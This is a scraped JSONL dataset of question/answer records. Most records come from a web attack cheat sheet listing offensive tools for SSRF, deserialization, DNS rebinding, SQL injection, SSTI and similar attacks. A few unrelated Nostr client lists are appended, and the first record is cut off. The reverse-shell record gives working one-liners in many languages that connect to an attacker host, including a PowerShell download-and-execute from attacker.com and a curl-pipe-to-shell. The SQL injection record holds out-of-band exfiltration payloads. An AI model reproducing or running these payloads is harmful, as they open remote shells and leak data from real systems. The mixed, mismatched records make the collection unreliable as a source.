"https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539050"}
{"id": "gh_0b7ba5e835ec", "question": "How to: Bypass<a name=\"bypass_attacking\"></a>", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/MrTurvey/flareprox\n# FlareProx automatically deploys HTTP proxy endpoints on Cloudflare Workers for easy redirection of all traffic to any URL you specify.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539069"}
{"id": "gh_59e887458482", "question": "How to: General<a name=\"general_attacking\"></a>", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/firefart/stunner\n# Stunner is a tool to test and exploit STUN, TURN and TURN over TCP servers. TURN is a protocol mostly used in videoconferencing and audio chats (WebRTC).\n```stunner info -s x.x.x.x:443```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539074"}
{"id": "gh_8a6a6acf6c16", "question": "How to: Deserialization", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/joaomatosf/jexboss\n# JexBoss is a tool for testing and exploiting vulnerabilities in JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.\n\nhttps://github.com/pimps/JNDI-Exploit-Kit\n# This is a forked modified version of the great exploitation tool created by @welk1n (https://github.com/welk1n/JNDI-Injection-Exploit). \n\nhttps://github.com/frohoff/ysoserial\n# A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.\n\nhttps://github.com/pwntester/ysoserial.net\n# A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.\n\nhttps://github.com/irsdl/ysonet\n# YSoNet (previously known as ysoserial.net) is a collection of utilities and property-oriented programming \"gadget chains\" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects.\n\nhttps://github.com/ambionics/phpggc\n# PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of frohoff's ysoserial, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539089"}
{"id": "gh_7358b6cfa31d", "question": "How to: SSRF (Server-Side Request Forgery)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://lab.wallarm.com/blind-ssrf-exploitation/\n# There is such a thing as SSRF. There’s lots of information about it, but here is my quick summary.\n\nhttps://blog.assetnote.io/2021/01/13/blind-ssrf-chains/\n# A Glossary of Blind SSRF Chains.\n\nhttps://github.com/assetnote/surf\n# surf allows you to filter a list of hosts, returning a list of viable SSRF candidates. It does this by sending a HTTP request from your machine to each host, collecting all the hosts that did not respond, and then filtering them into a list of externally facing and internally facing hosts.\n```surf -l example.txt -t 10 -c 200```\n\nhttps://wya.pl/2021/12/20/bring-your-own-ssrf-the-gateway-actuator/\n# BRING YOUR OWN SSRF – THE GATEWAY ACTUATOR.\n\nhttps://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/\n# Attacking Java RMI via SSRF.\n\nhttps://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next\n# Got SSRF in a AWS lambda?\n```http://localhost:9001/2018-06-01/runtime/invocation/next```\n\nhttps://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet\n# This cheat sheet contains payloads for bypassing URL validation. These wordlists are useful for attacks such as server-side request forgery, CORS misconfigurations, and open redirection.\n\nhttps://slcyber.io/assetnote-security-research-center/novel-ssrf-technique-involving-http-redirect-loops/\n# Blind Server-Side Request Forgery bugs are tricky to exploit, and obtaining the full HTTP response is one of the primary goals with any SSRF vulnerability. With modern cloud architectures, leaking the full HTTP response can often lead to cloud environment compromise if we can obtain the security credentials from the metadata IP.\n# However, what if you’re in a situation where the application just refuses to return the full HTTP response? Perhaps it’s performing some parsing logic, and your response does not fit its specifications, leading to an uneventful parsing error. These were the same challenges we faced recently when looking at widely used enterprise software.\n# We saw some unexpected behavior in this software that led to the leakage of the full redirect chain, including the final 200 OK response. We wanted to take some time today to blog about the issue, as it could lead to other SSRF vulnerabilities being exploitable in a similar way. Since this technique was surprisingly successful in this popular enterprise product, this pattern may hold true elsewhere.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539098"}
{"id": "gh_5f3c50ba36e8", "question": "How to: XXE (XML External Entity)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://swarm.ptsecurity.com/impossible-xxe-in-php/\n# Writing secure code today is easier than making a mistake that would lead to an XXE vulnerability. While examining a library, I wondered: is its code truly secure? At first glance, everything appeared to be filtered, and the function didn’t have the attributes that could make it vulnerable.\n# However, I was able to exploit an almost impossible XXE vulnerability using a combination of techniques and features.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539105"}
{"id": "gh_568466695318", "question": "How to: DNS Rebinding", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/nccgroup/singularity\n# Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.\n\nhttps://github.com/brannondorsey/dns-rebind-toolkit\n# DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN).\n\nhttps://github.com/brannondorsey/whonow\n# A malicious DNS server for executing DNS Rebinding attacks on the fly.\n\nhttps://nip.io\n# Dead simple wildcard DNS for any IP Address\n\nhttps://sslip.io\n# sslip.io is a DNS (Domain Name System) service that, when queried with a hostname with an embedded IP address, returns that IP Address.\n\nhttp://1u.ms/\n# This is a small set of zero-configuration DNS utilities for assisting in detection and exploitation of SSRF-related vulnerabilities. It provides easy to use DNS rebinding utility, as well as a way to get resolvable resource records with any given contents.\n\nhttps://github.com/Rhynorater/rebindMultiA\n# rebindMultiA is a tool to perform a Multiple A Record rebind attack.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539112"}
{"id": "gh_8923e0c090a9", "question": "How to: HTTP Header Injection", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning\n# HTTP header injection is often under-estimated and misclassified as a moderate severity flaw equivalent to XSS or worse, Open Redirection. In this post, I'll share a simple technique I used to take a header injection vulnerability, make it critical, and earn a $12,500 bounty.\n# This technique applies to both request header injection on front-end servers, and response header injection on back-end servers.\n\nhttps://lab.ctbb.show/research/crlf-injection-nested-response-splitting-csp-gadget\n# CRLF Injection Nested Response Splitting CSP Gadget.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539117"}
{"id": "gh_a826f825cab2", "question": "How to: SMTP Header Injection", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://www.acunetix.com/blog/articles/email-header-injection/\n# It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. Most of the time, such contact forms set headers. These headers are interpreted by the email library on the web server and turned into resulting SMTP commands, which are then processed by the SMTP server.\n```POST /contact.php HTTP/1.1```\n```Host: www.example2.com```\n``` ```\n```name=Best Product\\nbcc: everyone@example3.com&replyTo=blame_anna@example.com&message=Buy my product!```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539122"}
{"id": "gh_a1a92c0d60c9", "question": "How to: Reverse Shell", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n# If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.\n# Bash\n```bash -i >& /dev/tcp/10.0.0.1/8080 0>&1```\n# PERL\n```perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'```\n# Python\n```python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'```\n# PHP\n```php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");'```\n# Ruby\n```ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'```\n# Netcat\n```nc -e /bin/sh 10.0.0.1 1234```\n```rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f```\n# Java\n```r = Runtime.getRuntime()```\n```p = r.exec([\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"] as String[])```\n```p.waitFor()```\n# xterm\n```xterm -display 10.0.0.1:1```\n```Xnest :1```\n```xhost +targetip```\n# powershell (without download)\n```echo IEX(New-Object Net.WebClient).DownloadString(\"http://attacker.com:8442/powercat.ps1\") | powershell -noprofile; powercat -c attacker.com -p 8443 -e cmd```\n\nhttps://reverse-shell.sh/\n# Reverse Shell as a Service\n```nc -l 1337```\n```curl https://reverse-shell.sh/yourip:1337 | sh```\n\nhttps://github.com/calebstewart/pwncat\n# pwncat is a post-exploitation platform for Linux targets.\n# Interactive sh shell\n```/bin/sh -i```\n# Interactive bash shell\n```/bin/bash -i```\n# Interactive shell perl\n```perl -e 'exec \"/bin/sh\";'```\n# or\n```perl -e 'use POSIX; POSIX::setsid(); exec(\"/bin/bash -i\");'```\n# Interactive shell ruby\n```ruby -e 'exec \"/bin/bash\"'```\n\nhttps://fahmifj.medium.com/get-a-fully-interactive-reverse-shell-b7e8d6f5b1c1\n# How to Get a Fully Interactive Reverse Shell\n# Step 1\n```python -c \"import pty; pty.spawn('/bin/bash')\"```\n# or\n```python3 -c \"import pty; pty.spawn('/bin/bash')\"```\n# or\n```script /dev/null -c bash```\n# Step 2\n```CTRL + z```\n# Step 3\n```stty raw -echo```\n```fg```\n# or\n```stty raw -echo;fg```\n# Step 4\n```export TERM=xterm```\n# Reverse shell /dev/pts method\n# On attacker\n```socat file:`tty`,raw,echo=0 tcp-listen:4444```\n# On target\n```socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539141"}
{"id": "gh_0dd2ff6060d3", "question": "How to: SQLi (SQL Injection)<a name=\"sqli-sql-injection_manual\"></a>", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://arxiv.org/abs/1303.3047\n# This paper describes an advanced SQL injection technique where DNS resolution process is exploited for retrieval of malicious SQL query results.\n\nhttps://livesql.oracle.com\n# Learn and share SQL. Running on Oracle Database 19c.\n\nhttps://www.db-fiddle.com\n# An online SQL database playground for testing, debugging and sharing SQL snippets.\n\nhttp://sqlfiddle.com/\n# Application for testing and sharing SQL queries.\n# Oracle\n```'||(SELECT%20UTL_INADDR.GET_HOST_ADDRESS('xpto.example.com'))||'```\n```'||(SELECT%20UTL_HTTP.REQUEST('http://xpto.example.com')%20FROM%20DUAL)||'```\n```'||(SELECT%20HTTPURITYPE('http://xpto.example.com').GETCLOB()%20FROM%20DUAL)||'```\n```'||(SELECT%20DBMS_LDAP.INIT(('xpto.example.com',80)%20FROM%20DUAL)||'```\n# MySQL\n```'||(SELECT%20LOAD_FILE('\\\\xpto.example.com'))||'```\n# Microsoft SQL Server\n```'+;EXEC('master..xp_dirtree\"\\\\xpto.example.com\\\"');+'```\n```'+;EXEC('master..xp_fileexist\"\\\\xpto.example.com\\\"');+'```\n```'+;EXEC('master..xp_subdirs\"\\\\xpto.example.com\\\"');+'```\n# PostgreSQL\n```'||;COPY%20users(names)%20FROM%20'\\\\xpto.example.com\\';||'```\n\nhttps://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet\n# This repository contains a advanced methodology of all types of SQL Injection.\n\nhttps://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/\n# This SQL injection cheat sheet is an updated version of a 2007 post by Ferruh Mavituna on his personal blog. Currently this SQL injection cheat sheet only contains information for MySQL, Microsoft SQL Server, and some limited information for ORACLE and PostgreSQL SQL servers. Some of the samples in this sheet might not work in every situation because real live environments may vary depending on the usage of parentheses, different code bases and unexpected, strange and complex SQL sentences.\n\nhttps://www.websec.ca/kb/sql_injection\n# The SQL Injection Knowledge Base\n\nhttps://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/\n# Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL injection vulnerability.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539149"}
{"id": "gh_8dd4aa5e54ac", "question": "How to: XSS (Cross-Site Scripting)<a name=\"xss_manual\"></a>", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://rhynorater.github.io/postMessage-Braindump\n# postMessage-related bugs have landed me some serious bounties during the past couple live hacking events. Here is a quick summary of what you need to know about postMessage.\n\nhttps://www.gremwell.com/firefox-xss-302\n# Forcing Firefox to Execute XSS Payloads during 302 Redirects.\n\nhttps://trufflesecurity.com/blog/xsshunter/\n# Truffle Security is proud to host a new XSSHunter.\n\nhttps://tinyxss.terjanq.me/\n# A collection of short XSS payloads that can be used in different contexts.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539155"}
{"id": "gh_c0e736626dc9", "question": "How to: XPath Injection", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://book.hacktricks.xyz/pentesting-web/xpath-injection\n# XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.\n\nhttps://devhints.io/xpath\n# Xpath cheatsheet.\n\nhttps://www.s4msecurity.com/2022/06/08/xml-xpath-injection-search-bwapp-level-low/\n# This article subject XML/XPath Injection vulnerability on web app.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539160"}
{"id": "gh_7d2010799504", "question": "How to: Path Traversal", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://github.com/avlidienbrunn/archivealchemist\n# Archive Alchemist is a tool for creating specially crafted archives to test extraction vulnerabilities.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539164"}
{"id": "gh_4d3586b46ebd", "question": "How to: LFI (Local File Inclusion)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://bierbaumer.net/security/php-lfi-with-nginx-assistance/\n# This post presents a new method to exploit local file inclusion (LFI) vulnerabilities in utmost generality, assuming only that PHP is running in combination with Nginx under a common standard configuration.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539169"}
{"id": "gh_a28ce64274fb", "question": "How to: SSTI (Server Side Template Injection)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://www.youtube.com/watch?v=SN6EVIG4c-0\n# Template Injections (SSTI) in 10 minutes\n\nhttps://portswigger.net/research/server-side-template-injection\n# Template engines are widely used by web applications to present dynamic data via web pages and emails. Unsafely embedding user input in templates enables Server-Side Template Injection, a frequently critical vulnerability that is extremely easy to mistake for Cross-Site Scripting (XSS), or miss entirely. Unlike XSS, Template Injection can be used to directly attack web servers' internals and often obtain Remote Code Execution (RCE), turning every vulnerable application into a potential pivot point.\n\nhttps://github.com/epinna/tplmap\n# Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system.\n```tplmap.py --os-shell -u 'http://www.example.com/page?name=John'```\n\nhttps://github.com/vladko312/SSTImap\n# SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself.\n```sstimap.py -u https://example.com/page?name=John```\n\nhttps://github.com/vladko312/Research_Successful_Errors\n# This research introduces two such techniques for Code Injection and SSTI: Error-Based and Boolean Error-Based Blind.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539175"}
{"id": "gh_8ecfcb8fe5f5", "question": "How to: Information Disclosure", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://infosecwriteups.com/information-disclosure-vulnerability-in-adobe-experience-manager-affecting-multiple-companies-2fb0558cd957\n```https://www.example.com/content/example/filename.pdf/.1.json```", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 4394, "answer_score": 10, "has_code": true, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539179"}
{"id": "gh_a0dff06da943", "question": "How to: WebDAV (Web Distributed Authoring and Versioning)", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "http://www.webdav.org/cadaver/\n# cadaver is a command-line WebDAV client for Unix.\n\nhttps://github.com/cldrn/davtest\n# This program attempts to exploit WebDAV enabled servers.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539183"}
{"id": "gh_2f55ce38b574", "question": "How to: Generic Tools", "question_body": "About riramar/Web-Attack-Cheat-Sheet", "answer": "https://ahrefs.com/backlink-checker\n# Try the free version of Ahrefs' Backlink Checker.\n\nhttps://gchq.github.io/CyberChef/\n# The Cyber Swiss Army Knife\n\nhttps://github.com/securisec/chepy\n# Chepy is a python lib/cli equivalent of the awesome CyberChef tool.\n\nhttps://packettotal.com/\n# Pcap analysis and samples\n\nhttps://github.com/vavkamil/awesome-bugbounty-tools\n# A curated list of various bug bounty tools.\n\nhttps://check-host.net/\n# Check-Host is a modern online tool for website monitoring and checking availability of hosts, DNS records, IP addresses.\n\nhttps://github.com/fyoorer/ShadowClone\n# ShadowClone allows you to distribute your long running tasks dynamically across thousands of serverless functions and gives you the results within seconds where it would have taken hours to complete.\n\nhttps://github.com/A-poc/RedTeam-Tools\n# This github repository contains a collection of 125+ tools and resources that can be useful for red teaming activities.\n\nhttps://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md\n# All Atomic Tests by ATT&CK Tactic & Technique (https://atomicredteam.io/atomics/).\n\nhttps://github.com/fransr/unpack-burp\n# This is a small tool created by Frans Rosén. For unpacking base64:ed \"Save items\"-content from Burp.\n\nhttps://github.com/codingo/Interlace\n# Easily turn single threaded command line applications into a fast, multi-threaded application with CIDR and glob support.", "tags": ["riramar"], "source": "github_gists", "category": "riramar", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 4394, "answer_score": 10, "has_code": false, "url": "https://github.com/riramar/Web-Attack-Cheat-Sheet", "collected_at": "2026-01-17T12:59:42.539192"}
{"id": "gh_c3267fa6008b", "question": "How to: Mobile clients", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Damus](https://damus.io/) - The OG nostr client for iOS\n- [Amethyst](https://www.amethyst.social/) - Android-only app\n- [Primal](https://primal.net/downloads) - iOS and Android apps\n- [YakiHonne](https://yakihonne.com/yakihonne-mobile-app) - iOS and Android app", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764738"}
{"id": "gh_e2264a04d2af", "question": "How to: Web clients", "question_body": "About aljazceru/awesome-nostr", "answer": "- [snort.social](https://snort.social/)\n- [primal.net](https://primal.net/)\n- [coracle.social](https://coracle.social/)\n- [YakiHonne](https://yakihonne.com)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764751"}
{"id": "gh_6509bf2dff46", "question": "How to: Relay lists", "question_body": "About aljazceru/awesome-nostr", "answer": "Websites with lists of relays and their performance/health:\n- [relay.nostr.net](wss://relay.nostr.net) - relay run by nostr.net \n- [nostr.info](https://nostr.info/relays/) - real-time checking of the status of some known relays.\n- [nostr.watch](https://nostr.watch)![stars](https://img.shields.io/github/stars/sandwichfarm/nostr-watch.svg?style=social) - real-time checking of the status of some known relays.\n- [relays.xport.top](https://relays.xport.top) - relays list sortable by ping, activity, etc.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764792"}
{"id": "gh_e8e3595808c0", "question": "How to: Long form clients", "question_body": "About aljazceru/awesome-nostr", "answer": "- [untype.app](https://untype.app)\n- [Habla.news](https://github.com/verbiricha/habla.news)![stars](https://img.shields.io/github/stars/verbiricha/habla.news.svg?style=social) - Habla allows you to read, write, curate and monetize long-form content over Nostr, a censorship-resistant protocol for social media that uses long-form Nostr content.\n- [Highlighter](https://highlighter.com) - Discover and share curated insights by people you trust.\n- [Breefly](https://breefly.social) - A low-stimulus environment where you can read articles published on nostr.\n- [Decent Newsroom](https://decentnewsroom.com/) - Explore, publish and create long form articles and magazines on nostr.\n- [readwithboris.com](https://www.readwithboris.com/) - Long form reading and highlighting app.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764798"}
{"id": "gh_9db2ae2f59cf", "question": "How to: Video/Audio", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Nostr Nests](https://github.com/nostrnests/nests/)![stars](https://img.shields.io/github/stars/nostrnests/nests.svg?style=social) - Nostr Nests is an audio space for chatting, brainstorming, debating, jamming, micro-conferences and more. [NostrNests.com](https://nostrnests.com/)\n- [HiveTalk](https://github.com/hivetalk/hivetalksfu)![stars](https://img.shields.io/github/stars/hivetalk/hivetalksfu.svg?style=social) - Hivetalk is an open source real-time Video and screensharing platform built on mirotalk that integrates Nostr and Lightning.\n  - [hivetalk.org](https://HiveTalk.org/) -  live instance\n- [Corny Chat](https://github.com/vicariousdrama/cornychat)![stars](https://img.shields.io/github/stars/vicariousdrama/cornychat.svg?style=social) -  Corny Chat is an open source audio space built on Jam that integrates Nostr and Lightning.\n  - [cornychat.com](https://cornychat.com/)\n- [Shosho](https://github.com/r0d8lsh0p/shosho-releases)![stars](https://img.shields.io/github/stars/r0d8lsh0p/shosho-releases.svg?style=social) - Shosho app lets users stream their phone camera and chat with friends and followers on Nostr livestreams. Streams can be viewed on [Shosho.live](https://shosho.live)\n- [YakBak](https://github.com/fiatjaf/yakbak2/)![stars](https://img.shields.io/github/stars/fiatjaf/yakbak2.svg?style=social) - YakBak is a modern social platform built on the Nostr protocol that allows users to share and interact with voice messages. [YakBak.app](https://yakbak.app/)", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764805"}
{"id": "gh_50c85946b4b2", "question": "How to: Nostr Marketplace clients ([NIP-15](https://github.com/nostr-protocol/nips/blob/master/15.md) & [NIP-99](https://github.com/nostr-protocol/nips/blob/master/99.md))", "question_body": "About aljazceru/awesome-nostr", "answer": "- [LNBits Nostrmarket](https://github.com/lnbits/nostrmarket)![stars](https://img.shields.io/github/stars/lnbits/nostrmarket.svg?style=social) - Nostrmarket extension for LNBits allows you to sell items directly from your LNBits instance\n- [Plebeian Market](https://github.com/PlebeianTech/plebeian-market)![stars](https://img.shields.io/github/stars/PlebeianTech/plebeian-market.svg?style=social) - The Bitcoin-native self-sovereign marketplace built on top of NIP-15 includes fixed-price items and auctions\n- [Shopstr](https://github.com/shopstr-eng/shopstr)![stars](https://img.shields.io/github/stars/shopstr-eng/shopstr.svg?style=social) - The Lightning and Cashu-native self-sovereign marketplace built on top of NIP-99 includes fixed-price items", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764851"}
{"id": "gh_1604e7672c83", "question": "How to: Web Bookmarking ([NIP-B0](https://github.com/nostr-protocol/nips/blob/master/B0.md))", "question_body": "About aljazceru/awesome-nostr", "answer": "- [Community Curated Nostr Stuff (CCNS)](https://github.com/Sebastix/CCNS)![stars] - CCNS is a Nostr-focused community platform centered around link aggregation and discussion topics.\n- [KUCHIYOSE](https://github.com/nikolat/kuchiyose)![stars] - Nostr events of web bookmark.\n- [Lantern]([https://pinstr.co/](https://gitworkshop.dev/fiatjaf.com/lantern)) - Collaboratively annotate, highlight, and bookmark web pages and PDF documents on Nostr.\n- [MKPinja](https://github.com/sepehr-safari/mkpinja)![stars] - A decentralized bookmarking service built on the Nostr protocol, inspired by Pinboard.in. MKPinja implements NIP-B0 for web bookmarking, giving users complete ownership and control over their bookmark data.\n- [Pinja](https://github.com/sepehr-safari/pinja)![stars] - Pinja is a modern social bookmarking platform built on the Nostr protocol, designed to help users collect, organize, and explore valuable content from across the web.\n- [Pinstr](https://pinstr.co/) - Pinstr is a bookmark manager that uses Nostr to store and sync your bookmarks.\n- [Yumyume](https://gitlab.com/digitalethicsagency/nostr/yumyume) - yumyume is an free open-source, decentralized social bookmarking client powered by the Nostr protocol. Inspired by del.icio.us, yumyume ensures your bookmarks remain accessible without the risk of being shut down by corporate interests.", "tags": ["aljazceru"], "source": "github_gists", "category": "aljazceru", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 2847, "answer_score": 10, "has_code": false, "url": "https://github.com/aljazceru/awesome-nostr", "collected_at": "2026-01-17T12:59:48.764858"}
